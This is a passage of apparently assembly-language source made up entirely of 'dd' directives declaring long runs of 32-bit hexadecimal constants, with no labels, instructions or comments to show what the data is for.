0E806018Ch, 0BCB80821h dd 0F70FE0E5h, 5A330B02h, 41B1AD10h, 0A8F7B747h, 0F450223Fh dd 812B0013h, 4093B67h, 52008678h, 9AC2DCD7h, 0A62439h dd 4F76426Ah, 5F9C95DEh, 0E75BD500h, 8FE23221h, 0CB9113C2h dd 3C5D03h, 0BDF96BA4h, 7E00102Ah, 8817EA7Bh, 768B3Bh dd 8332BF3h, 0EC2E1422h, 34FD4700h, 199125D9h, 30AB007Ch dd 54E6EE97h, 0D00027EAh, 31D17F23h, 7E6C9Bh, 0C3193A2Ch dd 0B643FD44h, 4262A6E6h, 9825DE78h, 843B8Ch, 57E83609h dd 6237B967h, 6FCA2E13h, 0EB742000h, 33AFEF6h, 66C92448h dd 16A86E87h, 0CCEC77FDh, 1F8C9000h, 9BA50740h, 138BF075h dd 1C2EBBD2h, 781E8016h, 16E10453h, 1220DD0Fh, 4682A013h dd 1BB83D7h, 0A3733164h, 0D4DA36B8h, 6E618AF3h, 592DEAC0h dd 190CDDCh, 0B1FF4716h, 0E89E13ABh, 30008371h, 0AF235F87h dd 2CFEAh, 7FA648ADh, 9FF1E586h, 0C4062900h, 10400C21h dd 53430B3Ch, 0A882EFBDh, 344860B2h, 7B009A2Fh, 1F692C87h dd 2EDFD852h, 64C73Eh, 613847DBh, 9F702622h, 0B6030877h dd 561B36AEh, 0FB798072h, 7358BD5Fh, 1C3CEF48h, 8ACB8602h dd 0EA450524h, 25092E80h, 989D00EEh, 0BD665BC7h, 0CC0007A4h dd 0CF4A6E08h, 0CE7728h, 48D51D23h, 8FE4A90Fh, 486048h dd 117DD94h, 0E762C22h, 0E5791BFDh, 810CF5Dh, 8297EEC2h dd 4BACF082h, 0C0701324h, 0FA027844h, 429C5DE7h, 47E480B9h dd 2C8E159h, 2CB3DD70h, 1AE0FA77h, 6F17EB07h, 46007A38h dd 0BF53D2E7h, 0F9F40025h, 5829560Ah, 35B0268Ah, 4C1A2100h dd 99715F1h, 0AF5500CBh, 2050778Ch, 3D00605Bh, 7D7AF9ECh dd 1CA42CD5h, 80FA8412h, 30A52548h, 800378BCh, 5C7E5387h dd 98ED901Fh, 8DEC0037h, 0DCAD7B8h, 10024D31h, 9D5B42A4h dd 0D2E087E6h, 59BB5D70h, 0FA7C0Fh, 70C90CA7h, 1E3A37F2h dd 0DAEFE700h, 0C10D643Eh, 7FC60082h, 0A1D86861h, 3B71150Eh dd 18E05200h, 40DDBF5Ch, 62884039h, 5E87E600h, 0A5C00EECh dd 77A473D8h, 3B8F24F9h, 0C9430093h, 4CE20647h, 959F58h dd 0DD0D16B0h, 0EA7552h, 0C1623BABh, 98C58BF6h, 0F4251838h dd 0E18F1F00h, 46906ABFh, 704A002Ah, 0FFFC9584h, 7B1EF950h dd 7580D345h, 4C152F93h, 7A2B71A5h, 0B6F69Ch, 2E31CB0Ah dd 0E6429EC4h, 5A09B090h, 5440F17Bh, 33320046h, 86CF9199h dd 21B10D00h, 92FE1057h, 0BBC3004Ah, 0C5C97F3Dh, 203902BDh dd 80B03C22h, 71602FCCh, 3C73FAB8h, 52393E59h, 0DD78CD80h dd 0EB4A0391h, 80762739h, 0B8E82E72h, 0BFC2CB28h, 3A05A2D0h dd 4C452177h, 312580C0h, 558F13BEh, 387400CFh, 0D343717Fh dd 0A01C4104h, 5DC0E3E1h, 0ECDB5C8Eh, 0FCD702A1h, 28BC22C3h dd 0C862F380h, 8015481h, 0AB7598F6h, 629CC694h, 9F29CF5Bh dd 1F2C7FA0h, 0B171BF50h, 20750E00h, 71972892h, 0F053F69Ch dd 950721Ch, 0A0D59A14h, 8C00E48Bh, 27E93289h, 0AEC6700h dd 0B3ABDC2Fh, 0F1CC008Bh, 0E19EC3DEh, 48EC9792h, 0D11F300h dd 46C031E8h, 35BFA66h, 5FDD2D82h, 202C4489h, 0A940184Dh dd 0F24C8060h, 8973020Eh, 81B7BB1Eh, 6C04E058h, 30CBA707h dd 6E83E580h, 5DDE0012h, 9A346529h, 172636E5h, 1C00F458h dd 0BF0AD52Eh, 3EC10078h, 4C4EEDEh, 0AC00FA5Dh, 0CC3085C2h dd 70F5B17h, 8DADF32Eh, 3B0320F1h, 0AC7A3302h, 0D0E33E30h dd 0E0B8B9h, 4152A76Dh, 0E9BA86A9h, 3F07B578h, 91A2C728h dd 3CFCC350h, 0FFE06Ah, 0E8107915h, 0E46E3C0h, 2D5F611Fh dd 0FEF1A7CEh, 96089DC3h, 4764E045h, 91E50E1Eh, 0EAC05B16h dd 0C040F3D8h, 0CB000BF6h, 2E1B3305h, 0F43A720h, 0CC9E6226h dd 30BBF9A0h, 0A50055DBh, 7FF239C1h, 1E5BBC6Bh, 0C1B4DE89h dd 0F0C70EB2h, 0CA11E89Ch, 0AF6BD0Bh, 70458008h, 3FDAC881h dd 91BC8751h, 3E940073h, 2C6F031Bh, 613BA37Ch, 34C71FE9h dd 2163BC40h, 0E869C02h, 0CA57F5A2h, 0C0B75C05h, 9DA87E6Fh dd 418AD00h, 39388E28h, 0C6A63B25h, 0DFF94481h, 0C480CF50h dd 7C031EABh, 186385A9h, 7DD5D1D0h, 0EA361080h, 0C8BBFEDBh dd 64DABF00h, 0A39C1D5Dh, 0B0505008h, 0F8E2F895h, 1CC40301h dd 0F218B9F1h, 670AEBE8h, 4A029600h, 0C01047FCh, 4C95031Ah dd 0BEAB9ADDh, 3BCEA1DFh, 0D9A8DC72h, 7602B901h, 0D5E44396h dd 118F04Ch, 0AFA4E8B4h, 0D496871Ah, 910F3BCBh, 687086h dd 7F8178CCh, 3355000Ah, 2DBC3749h, 9500CA36h, 0F5F01EF3h dd 38F5773h, 2ECC1CC9h, 4890AAC3h, 0A200D79Eh, 746AECE3h dd 3992D649h, 54DC2CEEh, 0D9945E00h, 0B21D209Dh, 0BE593B30h dd 5BB0CBh, 3D01BB4Fh, 1056036Eh, 7875BC1Dh, 0F88B3580h dd 3E6CBF72h, 4B8598A5h, 81049F9Eh, 204A19E1h, 7A86EB54h dd 878E8056h, 5FF8D7FEh, 97692F00h, 264C0DB2h, 3C1F0003h dd 0EB671DCEh, 0B718E4D5h, 0FB18278Eh, 0BDE819DBh, 0E86C119Ch dd 39005276h, 31933C57h, 7DFFEADh, 8B3A8ACBh, 9A12D1BAh dd 9C888053h, 0F719C092h, 27B8002Ah, 3A6C5BD8h, 7800F13Bh dd 580918E5h, 519685h, 988FC96Bh, 0C559EB54h, 85404248h dd 0C2809AB0h, 0FFFFD2B2h, 3F8892h, 0BC8B053Ah, 590A7C86h dd 0A09613E4h, 0B7D37300h, 0E656F655h, 0CAB138DEh, 9CFF5294h dd 5C510173h, 12B0AA5Bh, 0CC4424BEh, 0C8348D02h, 80ADBD0Fh dd 943C1998h, 0E26F00B1h, 0C1109993h, 0C5005655h, 0B72FAC3Bh dd 26AE30F3h, 663996h dd 7B69D351h, 3E00270Ah, 0CE9E2DCAh, 26595B6Ch, 0B84158h dd 213F4CC8h, 321DB8F1h, 0D58E9330h, 46D340CEh, 714A8A8Ch dd 585100A5h, 0BB06761Bh, 6B3D738Eh, 0DD4E007Ch, 0A77CE9Ch dd 9F3A2405h, 14B400E0h, 8D8FE33Bh, 80061C14h, 5CF480A4h dd 80EC41C6h, 771DDFC2h, 57C020B7h, 0C15EEED0h, 56B07Dh dd 1EAF97A3h, 0E7C786D9h, 0E02A48h, 54A0F03Fh, 5B6DF7h dd 6B400693h, 0E0F42845h, 0A8F91B28h, 82103C00h, 0EBDF39FFh dd 76914D0h, 3621B059h, 0EA374C2h, 592F3502h, 6C0A2C48h dd 0BCFDDA01h, 944C93E1h, 9420D5F1h, 954E0087h, 251923FFh dd 64FE9101h, 5C2849h, 0D9182ACDh, 3D7985Fh, 6A78E937h dd 31DFBB07h, 0D8C6DBC7h, 0FC90CF1Dh, 0DD129705h, 0A400A8F6h dd 0E61A32E8h, 0AB088099h, 0D33F9700h, 0D55FF8AEh, 44DB00CCh dd 12380BAFh, 18008994h, 0E27616B2h, 1FD26B53h, 4061FC43h dd 0BD400A1Dh, 231FB480h, 1B84B555h, 4B033FBBh, 9C4CBCh dd 58C529C2h, 0ED81008Fh, 5168267Dh, 34002C19h, 9DF07617h dd 1C5A1A10h, 0BE9F031Dh, 0F9870070h, 325F0C29h, 7090A30Bh dd 6FD14D00h, 8CB4C45Ch, 13B890F1h, 6087E970h, 9EE2BDB8h dd 0A2405807h, 4950D6BEh, 0C8650A71h, 11E90631h, 2013D7D0h dd 0DECF9C0h, 5EBFD400h, 2D918F39h, 0D7760758h, 30CA21A4h dd 0B090AAB6h, 0DFCFECA0h, 78C77A00h, 54B71F08h, 0B18B3DABh dd 0F484396h, 37A2637Ah, 9240308Ch, 0D51876FEh, 533035ABh dd 743E00AFh, 0AC70BF0h, 950EF517h, 80A01E6Ch, 63FEC0C8h dd 1A67F5Ah, 857B43F3h, 70C43841h, 140A9B8Bh, 0D84E3E78h dd 0D346823Fh, 8037AB99h, 149E6BF8h, 2000EDAEh, 8726B093h dd 2700B0F4h, 4CB274CCh, 4F7300C7h, 30318CDAh, 5E260DFAh dd 44405CDBh, 4015FC79h, 0BC7A7511h, 99CDB302h, 8F2C53F3h dd 0CF940EF8h, 8D50C487h, 0E28055C7h, 0EC752Eh, 0CF8942DEh dd 8A1A70FCh, 669E7A02h, 41819CF6h, 3060365Dh, 0DD77DFh dd 9831BA76h, 93FBC667h, 876A8501h, 56726481h, 53C2E050h dd 0B86F48DFh, 312580Ah, 2CC380E4h, 114BCD2Ah, 0B8302F00h dd 0F1AC1BF8h, 735800D5h, 0F9ADE893h, 0DEE2C92Eh, 752FDD07h dd 0CB935C24h, 0D16DE807h, 0DA9F00C0h, 0CFF0E406h, 0C71681EEh dd 9400A158h, 0F263AF5h, 19E480BCh, 0B5B4F900h, 0DF1299E3h dd 28B200AEh, 515CBBC4h, 66008390h, 4ADA1F38h, 317835h dd 46262E6Bh, 25447A1Dh, 0E5583400h, 0D92C7FFh, 0C0FA8889h dd 5403Ah, 29537084h, 0EA5474D7h, 60F89A50h, 0CEC42A3Bh dd 0AE007F12h, 8AF31314h, 0F06722D5h, 57340002h, 4C5E4C8h dd 0C4006480h, 6CDC9950h, 1322CB39h, 412F6D35h, 98C0AAA8h dd 1B052F0h, 0E955DC40h, 0AB9FBA00h, 82F8760Ah, 815F0319h dd 5A4B9111h, 9637DAC8h, 39E22230h, 0BC808Fh, 43068213h dd 0BB9A87BAh, 0AB09DE00h, 0A996781h, 0D7831E1Bh, 0D46490h dd 7B8A2F08h, 596024CEh, 0CA2C9D8h, 0D3A8C086h, 4920CC1Eh dd 638401Ch, 0C3ED9844h, 0AA0D880h, 8E9A00F9h, 0A421396Bh dd 0A600A1C4h, 38DEEAADh, 16245302h, 25016EE6h, 519600C4h dd 30C4B964h, 0C1C180Fh, 0CD29200Dh, 1E8F1066h, 0FF31A8h dd 0C16B02A1h, 12EC7ADBh, 7EE7EB07h, 559378E2h, 26B5D08Bh dd 0D8D200C9h, 0E0B12151h, 0B9579Ah, 20747F4h, 15530DD5h dd 0D6B260B8h, 0DDC0006Eh, 0CA472597h, 0BB767D85h, 88272800h dd 80CFB2E7h, 45AD00DEh, 0B1BD13A3h, 0D300AEACh, 12FC7366h dd 2D7D07D8h, 90C06FD7h, 0E200CEB3h, 0A84B984Ah, 0FAEDC37h dd 6ACFDFE7h, 41C69CDEh, 6B55D9F0h, 862020A0h, 0C0F4122Eh dd 0CB2B674Eh, 2546E350h, 0C0AC4820h, 0F65485h, 0C93E3498h dd 6700DB9Bh, 0FD5EF30h, 3636AB8h, 1613F9B3h, 32A9399Dh dd 0DDC9F4CEh, 2CA0A500h, 0C7CFA16Ah, 2F233F1Dh, 0D715E504h dd 944082BFh, 0F060BC51h, 1D862F56h, 40F95E33h, 0BAFFBE22h dd 5912A004h, 8C00B5AEh, 0D5380A7Fh, 2BC00B3h, 60E87663h dd 0B01C4E39h, 0F647E916h, 0D420A66Ah, 3A92BE06h, 0FD89BCh dd 23131ADDh, 43A380BFh, 99704100h, 0AD9B30E7h, 0CFE8FB86h dd 0CF01F6Eh, 0FC520034h, 0F5119D69h, 8F885600h, 9570F93Ah dd 0D3E30015h, 17A85167h, 8B00822Bh, 0CF7AEB49h, 9C9DA06h dd 11A94B90h, 2D773C80h, 0A601ADD4h, 71761CB4h, 0CCDCFD43h dd 0B783B9Bh, 8C66B900h, 5727F8CFh, 868DCE0Fh, 6C652047h dd 1B6D46Dh, 639B1CBh, 0F8546A83h, 0C716F5B5h, 2A003497h dd 60D2FE46h, 0A4E90028h, 0E7C9B217h, 0D7E64EC7h, 6CB08E07h dd 0BE50F423h, 2609AC61h, 83CCC2BAh, 0A65FC164h, 0D4FE6BA8h dd 15F1450Eh, 806A4936h, 7D7F8440h, 3EA01C71h, 237C0086h dd 0B6F3414h, 0CB413Dh, 0FF37B69h, 132C29h, 56A1530Ch dd 350D366Dh, 801FAA00h, 0CAB86150h, 0C05103C3h, 0DE558741h dd 0F3E581B0h, 60DB271Eh, 0C6F5C400h, 9C864A9h, 0FE98D145h dd 0FF5B1802h, 0AB5E3060h, 0F01F279h, 38D71317h, 0B4344B50h dd 952D39EAh, 0AF014584h, 0FDD0802Fh, 6900BD88h, 0D819E02Ch dd 78A992CBh, 0C33A2424h, 1CC500C0h, 3DA61426h, 0E2E15400h dd 1E0618B3h, 3711244Eh, 5D10BDCh, 0CAE1FC0Eh, 0FC610F88h dd 9C909D35h, 0EEF8AB16h, 42564300h, 1E25E3Bh, 6B99857Fh dd 2082606Fh, 1F0F8968h, 0C03A1EF6h, 6957DF6Ah, 0E75118B5h dd 0C7DB1E70h, 73028F77h, 9647AD77h, 9D00605Ah, 3ED405CEh dd 780B375h, 0D2B71C84h, 8C43D73Bh, 0D8C8C9C1h, 170093F0h dd 25881E44h, 0ABB24h, 6F4FDFC2h, 55E83FFEh, 16899000h dd 0A06CA934h, 0C1510217h, 2FCFEFDDh, 0B8570CE0h, 0E94B380Fh dd 0A03C4F6Fh, 0ADA5F3B5h, 642700C9h, 7005BF24h, 0E3145C84h dd 0A0456Fh, 36D1DFE8h, 90F78996h, 164D02CCh, 0FAF9B995h dd 4A5A9840h, 0C323A918h, 630311h, 3D448047h, 0D1A8D2E8h dd 87AC8CC0h, 919BE32h, 0E0F84F5Bh, 0A0805029h, 127F4AF3h dd 0EF13B4B0h, 1C4F3FC9h, 54AEE0B8h, 0EA4633E9h, 28679821h dd 3DCF896h, 0C304FCBEh, 0B49E9BA4h, 3EF3A31Ch, 0DD30B140h dd 1853EB26h, 301DED63h, 0C063466h, 617E7A8Ch, 435E0060h dd 0DA237126h, 0D8036654h, 0D1A1DD74h, 45F9A040h, 91B0000Dh dd 2EC44447h, 3C185B7Ch, 0B550F29Dh, 9F880139h, 322C3428h dd 0E58DE062h, 0B1F8FA00h, 9EC40F24h, 0BA873EC2h, 395C3E4Ch dd 0C1440914h, 0AE7B470Fh, 0B30DEC00h, 2207C6B4h, 0FFD8C3D4h dd 9FDC6370h, 707CEDh, 8E507431h, 2DBA6BD6h, 0FE4C8704h dd 0F8C18F15h, 52606470h, 623D0333h, 2E5F9106h, 3A44A8B8h dd 10D1C600h, 9FB1FC02h, 0B5CB005Bh, 0AFEAB01Dh, 0FAF4C7A6h dd 0BF00C475h, 457866D8h, 0F40A8D12h, 7A8B0091h, 9DDAC0BAh dd 8C002089h, 0FA88E4CDh, 0B68B528h, 9FAD0BACh, 239C90B8h dd 0F0E34404h, 68E00758h, 0A1B5127Eh, 809CC2F7h, 2203A078h dd 0A4468C5Ch, 40449AECh, 0F4BC5654h, 0C4B200E2h, 0A179CF68h dd 0ED1CD989h, 134085AEh, 0DCFEFDA0h, 4C600CDh, 0DE5873C8h dd 3500F90Bh, 0B31002C5h, 39AFD5h, 537C184Bh, 17B9D9B5h dd 0D120A900h, 51527237h, 0AD5500C4h, 221EFF50h, 2500ECBFh dd 8BB9AE95h, 0A0172B3Eh, 0E6D8282h, 0F95FA656h, 23697D20h dd 0DB005DF8h, 54B3D7Ch, 162D5291h, 49703B33h, 0D0075B80h dd 9204E3AEh, 0D5F040BBh dd 80009D25h, 0B39A0871h, 0F6D0A1h, 3289EBF7h, 0C5D61C4Ch dd 74A8BF0Fh, 84F8A40Ah, 0AE4ECC90h, 78110663h, 6092D3C9h dd 801DAA00h, 0BB441248h, 0E8A4FEB0h, 0AC1824B4h, 543E3CACh dd 0E0100C05h, 7088D056h, 8703B2CAh, 659D48D5h, 7940FFE1h dd 78912D12h, 28E07C9Ch, 18181A7Ah, 7187E6DCh, 0E801BB13h dd 48BC9C3Eh, 0B2ED784Ah, 0C1D74020h, 8BF7C239h, 3BDEF063h dd 0DC575F04h, 41809853h, 0C0E401BFh, 37E2CC70h, 5B5DD328h dd 97D91358h, 0F7930C00h, 0E8C32B55h, 76110A4Ch, 0A78FDC9h dd 4C157Bh, 0D3BDA6D6h, 79007529h, 0FD1A5B38h, 0F4A2F3E9h dd 0FB7E87h, 4E63C65Ch, 0BE555784h, 3C70C700h, 0F9BB5F58h dd 0A94400E7h, 3468A2A4h, 9AE6BA45h, 0D0ED1D00h, 0B2AB1273h dd 62FA00BBh, 0F040ACB4h, 2002869h, 3AE8EC49h, 0E8C78BF1h dd 0A5F701DCh, 0BF52174Fh, 0B67B3010h, 9C925E01h, 0F8545C02h dd 0D0E900CFh, 0E164FFBDh, 9D1C9E98h, 30FA08EFh, 59621C7h dd 534900FEh, 6907417Eh, 0EC00FCB6h, 2545C134h, 28BB4ACFh dd 7D28CAFEh, 373F0021h, 8379380Ch, 0EC01176Ch, 53FD3923h dd 57304211h, 0CE38C1C1h, 845DC818h, 103D5596h, 80581480h dd 0BE342405h, 608A875Ch, 411701Bh, 281D48BAh, 0A20CBB5Ch dd 532081h, 1D471CCFh, 0BA3441A1h, 0BCBD39C0h, 307B388h dd 8359194Fh, 74D81FE9h, 0D40CADB0h, 88C67B0Dh, 0A1D606D9h dd 0C9569DAAh, 0A904707Bh, 0BEFBCDCFh, 49914480h, 6C267687h dd 773028C5h, 80007648h, 0ED354FBh, 0BC6606C9h, 87EDC5Bh dd 8214560h, 0EF3D34Ch, 0F479D93Dh, 30B6B060h, 8A05461Ah dd 895C570h, 805F8401h, 804C33A0h, 31C1FC9h, 0C8BBD010h dd 0C16A9C8Bh, 0FF683F1Bh, 8CABF801h, 0B9EA3637h, 6197E720h dd 0AA76001Fh, 8F4EC5A1h, 2B00E022h, 7F713C8Ch, 962770Bh dd 5D4D20BFh, 93A307h, 0C2914CDEh, 0BAFDD400h, 5681C3F8h dd 77AF9A69h, 2C730B54h, 3E008FA0h, 0D86F404Fh, 9FD9A801h dd 0D0E7BA39h, 4C1838B1h, 75E200BFh, 1DFCF5BEh, 0BBAD1C1Eh dd 62CBC103h, 0F295ACB0h, 65FC3660h, 0A4579600h, 0B4D3E70h dd 24F60078h, 43AACF22h, 6062C7Fh, 56B29FD8h, 0B3D14061h dd 3FDC9D00h, 595136B0h, 0BC2D0F8Ch, 0EC80B8F3h, 0B4E4B552h dd 6154720Ch, 0CDC19C7h, 4811D8B6h, 90411530h, 167B4DCh dd 95C307C8h, 8AD832BFh, 8B43F8A0h, 0AAC043Ch, 0AAC0FC33h dd 2D578AAh, 7F54C9F1h, 9880BD93h, 4640DF95h, 50A47400h dd 0D03E14E6h, 48900036h, 9A5D5B82h, 0D61F8768h, 29C32BD8h dd 0CDB9D39h, 0AC16B469h, 3C134181h, 591A2h, 0C85486E2h dd 149200A6h, 4DF226F6h, 32DB0269h, 62CF12E2h, 0F33AFBC0h dd 0D1CD3100h, 0E94D91BBh, 0DE29008Fh, 214CEB04h, 0FC002D48h dd 51CEF5B0h, 1335308Dh, 0FEA083h, 67D9D3Ah, 0A6EC8ACBh dd 0CDA4540Fh, 109460F6h, 0FF8FEE2h, 661793DAh, 2FA97EA0h dd 7D038DE9h, 0D748F4B6h, 9FDFB042h, 3AAD008Bh, 0AF55A9F0h dd 92017BCBh, 4B2FD744h, 0EAC8FE86h, 8F8D00D1h, 9B98E58Ch dd 737366E0h, 35A27200h, 554F0690h, 0E21D3256h, 495EFC9h dd 0BC890077h, 0E6DD56FBh, 0B528AF00h, 0B8462F40h, 209A4893h dd 386CC500h, 0C1D24CD8h, 0C4005075h, 0B2F0C90Ah, 571B841h dd 3AF6302Ah, 0ED140402h, 49115F57h, 112BC511h, 992846DEh dd 0DB612228h, 0A3143950h, 84A5FB44h, 8D211342h, 94EF1608h dd 64113C51h, 8812148h, 0BD90EBFFh, 48C61884h, 0A694595h dd 828E914h, 4990E1E2h, 44E9B684h, 64037C35h, 80C8F35Bh dd 8E003C55h, 7B6DF6F2h, 4A34B0h, 972770C1h, 3253B1FEh dd 0EB867200h, 5BED1914h, 0AAD80056h, 6EB2EEF1h, 0F600E3DDh dd 18A9E093h, 44BEC2h, 5B84C567h, 3DB16505h, 78307E7Bh dd 0B2462055h, 0C9EA00A9h, 90855B3Ch, 501D7D40h, 36805D02h dd 0FBD2036Eh, 0A32B007Bh, 0E29B2353h, 0AB0017F0h, 10F76BFh dd 5C7A77h, 216AD858h, 0A4CF486Dh, 9134E900h, 0B8BCF380h dd 64F4079Eh, 102FBF86h, 89B3B1BBh, 539A1600h, 7C3F64Ah dd 5AEF0249h, 92AE31B8h, 8C283440h, 43EAA503h, 0F89796D2h dd 0DBEFE5h, 8EF67367h, 8DC2D63Dh, 0EAFDBE1Eh, 6D206680h dd 6AF5B5h, 3221D11Eh, 2FC21AD5h, 45114F00h, 0EC2BB128h dd 46C5002Ch, 1B83AE47h, 221C4C2Ah, 0F8811329h, 0F7E6C197h dd 6F7420h, 6983EB8Ch, 1DFBC95Ah, 0B6DD0107h, 4C00EE0h dd 0A456B0h, 0E8EAB360h, 0B97A3E21h, 7877270Bh, 802309CBh dd 0A12DE3A2h, 422C0015h, 895C4952h, 262C8F19h, 7A0045A6h dd 0FD4D8810h, 0DE090E59h, 0A1001B2Bh, 0B065D3D9h, 70E57C1Fh dd 0F239EC80h, 732B6D5h, 0B3FA4B42h, 3063304Fh, 2C001C2Ah dd 17707E66h, 3A61B9E8h, 40802522h, 0C0921078h, 6200880Bh dd 0D4E2E718h, 0A0BF3AA5h, 9A19B4h, 94408C1Bh, 37B1CD7Dh dd 70BCA300h, 7A018974h, 3E2C0067h, 320B137Bh, 5400AA43h dd 0E924ABD9h, 0B16998h, 9C347223h, 27553629h, 30AE48h dd 0A98D8E7Eh, 562AB1Bh, 9EF7219Dh, 0A3EC0748h, 157355Fh dd 4A12A48Ch, 38FDECA6h, 83D42900h, 91594460h, 34A74826h dd 1E955A00h, 0EE405B8Ah, 5D54EC00h, 0C574FDB2h, 0B44F018Eh dd 0F26AAF88h, 654420EBh, 0F75C1F1Ch, 428CE743h, 2C919CE4h dd 84E0AFCBh, 799E3BEDh, 0D6943483h, 0E7D00FB0h, 0D1CEC83h dd 61009D17h, 1C2B5D59h, 760C0029h, 0FFE95EDFh, 88382025h dd 0CB2F857Ah, 0F04140ECh, 0E1C1B527h, 1723F4C8h, 59A83Dh dd 1240DC51h, 0EE01BBFDh, 0CD335CD1h, 0CBD45B83h, 480D00B8h dd 45E04637h, 0B507DABFh, 692E706Eh, 98240339h, 10BEBA4h dd 1729DD80h, 0D0916CD1h, 2272190Ch, 32F0E477h, 73345D12h dd 0AA111801h, 0B17008ADh, 72D409BFh, 90011401h, 80CD94C9h dd 6EEA1A3Eh, 7CF0598Fh, 1965007Dh, 0DAEC486h, 0DA008BA9h dd 295264Bh, 24CB7DA2h, 245A64h, 9B631B56h, 33003967h dd 79E37EAAh, 743816h, 9C496F94h, 0D9208654h, 7A4E148h dd 7C69F3C6h, 5FA50120h, 0EC603915h, 2632D480h, 17DA88D0h dd 57C9C200h, 3D790E7Dh, 3AF200EAh, 4C8F25C3h, 0C03A7001h dd 7C668202h, 6010464Dh, 3F32E68h, 0E7084F6Eh, 2998B618h dd 8A004B9Bh, 0C5C235FCh, 714F7544h, 360F6A5h, 7726B911h dd 83E0DEF8h, 2F3E04E2h, 1393812Bh, 0CB214870h, 226FD8h dd 0DCCD5284h, 724FCF71h, 0A3B19201h, 0C26BC539h, 16C3F3C0h dd 3E140B4h, 6F7988Ch, 1122E5A0h, 8648F560h, 7AC6471h dd 856A95A2h, 202BA03Ah, 0A41E965Dh, 25C97F47h, 325800CEh dd 0E0F65F10h, 428E04A0h, 3910C51h, 0F0F066A2h, 2690B699h dd 608C1F38h, 0E567EF1Eh, 6587B203h, 2577B33h, 7691DA8h dd 8060A760h, 4907A559h, 8CF6FC6Eh, 3150A0B0h, 0F23F648h dd 0F4ADC363h, 0C7159120h, 5875FE18h, 778CC00h, 5E5E643h dd 8A3848F7h, 1698BC00h, 0FF2DE099h, 1AC3EF00h, 2850B99Fh dd 0F9E60Ch, 1E054E38h, 0EC1DA7F2h, 1CD46400h, 0EB5E99A9h dd 635A02D2h, 42F5DF5Dh, 3A6762C0h, 0D5C9100h, 2E35301Ah dd 0B66200A2h, 3F8537DCh, 680FAE3Bh, 0FF21F0BBh, 0D9165B82h dd 32A360C6h, 0BCE8001Fh, 8DD61EB6h, 84243851h, 0BA0F9DEBh dd 0DB056053h, 0D3613Ch, 6333E049h, 0E32D6B4Ch, 0AB57F00h dd 15EAB1C7h, 0D4F6C2h dd 442507FDh, 0E07310D3h, 450ED27Fh, 4005A382h, 5C581AB3h dd 0C9C70057h, 295085FDh, 2A007489h, 0C3761975h, 381DB73Eh dd 8B006825h, 1AE6CD01h, 7007C609h, 27EF04C9h, 3D26E200h dd 74550796h, 0B017E1FBh, 9D3AE36Eh, 4B4C7D00h, 888DBE28h dd 0CDE41245h, 87B51DC4h, 301AC653h, 7AA46727h, 80D8D33Eh dd 7135D076h, 0AC8521h, 77136820h, 0FD796F6Ah, 443A5C7Fh dd 8CFE80C8h, 0C07D39BAh, 0C9EADBh, 5BD63414h, 928EDA51h dd 7F8A2450h, 79D24200h, 0C690578Dh, 0DC980033h, 9F472234h dd 0C173297Dh, 0CC6FE13Fh, 8800716Dh, 50041F76h, 2D8772h dd 0F4422979h, 570ED8D2h, 3835F600h, 43A74C18h, 2B7D3854h dd 15482100h, 74EA0989h, 9199F400h, 47903B57h, 13C80031h dd 8CA54280h, 0BF00B549h, 56CCD0A6h, 767C74h, 5FE56B41h dd 0FA70B7DEh, 380C8500h, 11C9C8C4h, 483F0023h, 0FC53907Bh dd 0CA128674h, 50003BD7h, 0B3215B49h, 548400DFh, 89F77295h dd 0EB00B0A3h, 56EDCFC9h, 0C05EFh, 48394652h, 7DC0879Bh dd 6FAA7400h, 29EA20BDh, 0ECCC0EFEh, 0F109365Dh, 0D4AE6400h dd 7E000B5Bh, 9ADA34F6h, 0FA336D17h, 3DEB002Eh, 0B439305Ah dd 0A400D219h, 0F1DA1D63h, 1D8BEA6h, 807918D3h, 0C04D22CEh dd 1A007F19h, 0FB1F117Dh, 631477h, 8B7C6EC2h, 0B87EF4AEh dd 0E23C3375h, 4E88004Ah, 0FDF05674h, 2F4D1264h, 0BC660540h dd 0C7BF000Ah, 67C1EC1Ah, 8ABDAF00h, 82503ACAh, 0B25B1E27h dd 53E7C0DFh, 2C208DCEh, 19CC7600h, 0E964386Dh, 47F00051h dd 4DF3A158h, 5F0765BFh, 31D4228Eh, 81FB0CC0h, 933400BAh dd 8D722829h, 76742B94h, 0DFCE9500h, 416ABEF4h, 8F050B55h dd 760280CCh, 0A460E74Ah, 0F700CA1Eh, 1CA2FFA6h, 362285h dd 0B8E0727Ch, 0DA92C80Ch, 2B2330Fh, 0CB0AE04Dh, 30935E2Fh dd 73C80BE3h, 76074089h, 20B60FEAh, 0C6E64EB0h, 0D64205A2h dd 0F5B8502h, 0E22FA8A5h, 0BEFC2F03h, 0C151FAA8h, 394D7301h dd 9C43F242h, 0A9B8C4h, 60A72D10h, 64E59BB1h, 0DF854700h dd 0CD8A11F0h, 863E1C74h, 2B4B4081h, 106DA6E1h, 0C30CCECh dd 0BD61884h, 733F00F9h, 0E2D7A2FCh, 61307E28h, 9018392Bh dd 0F16500F6h, 539BF0D0h, 9F4E7C57h, 830065A8h, 69BA231Eh dd 1F0030A8h, 6B4DE907h, 91701h, 38E89222h, 0E6EB9B65h dd 0C507AA7Ah, 1EC87040h, 0AFDD0C90h, 79710F2Eh, 0AD007F28h dd 98F38C39h, 940011F2h, 0C73754DFh, 12C2B8C6h, 2DCA86Ah dd 23C9E5D4h, 0CCE9F061h, 0CD024F1Dh, 0B875894Ch, 5A9CC09Ch dd 0E8ED4CA4h, 5BA6D900h, 0CEB430FEh, 0F2996500h, 0D211D742h dd 6EA10F6Bh, 0C9201532h, 43DAC6FCh, 1BEB4C07h, 8349A735h dd 98E8F688h, 102E8Fh, 8DA59CC2h, 0EE5926B5h, 637E9801h dd 4DA9677Fh, 0B8283C60h, 73E4BBh, 713C13EDh, 0B333704Bh dd 0AE651D00h, 0DE18C692h, 0C2EE037Ah, 6DACFB32h, 5C282BB0h dd 0BDFF4900h, 26CA6E50h, 0F4CE0081h, 83860D36h, 3F00A594h dd 3CB17892h, 0FBC4109h, 0F0C3105Dh, 0C16406E1h, 93056004h dd 0A8F8EB07h, 15707B22h, 7292D5h, 493155CBh, 18FBB5B7h dd 8EFEE200h, 0FCEE20EBh, 0D0143B7Dh, 0AC2EAA96h, 70A01E5h dd 5A8EB5AEh, 49DFE8h, 6D3DC2DCh, 60FA4E23h, 7656F0C0h dd 78ACF0h, 24152C2Bh, 0E5306C63h, 70B22900h, 0C29E99B8h dd 0A07ED8h, 71074A7Bh, 0AC430B95h, 70FC4F00h, 0A5D1B557h dd 1CF2EDh, 2998B2EBh, 0C75B5A4Dh, 0B1391E00h, 745942F9h dd 0E1BE052h, 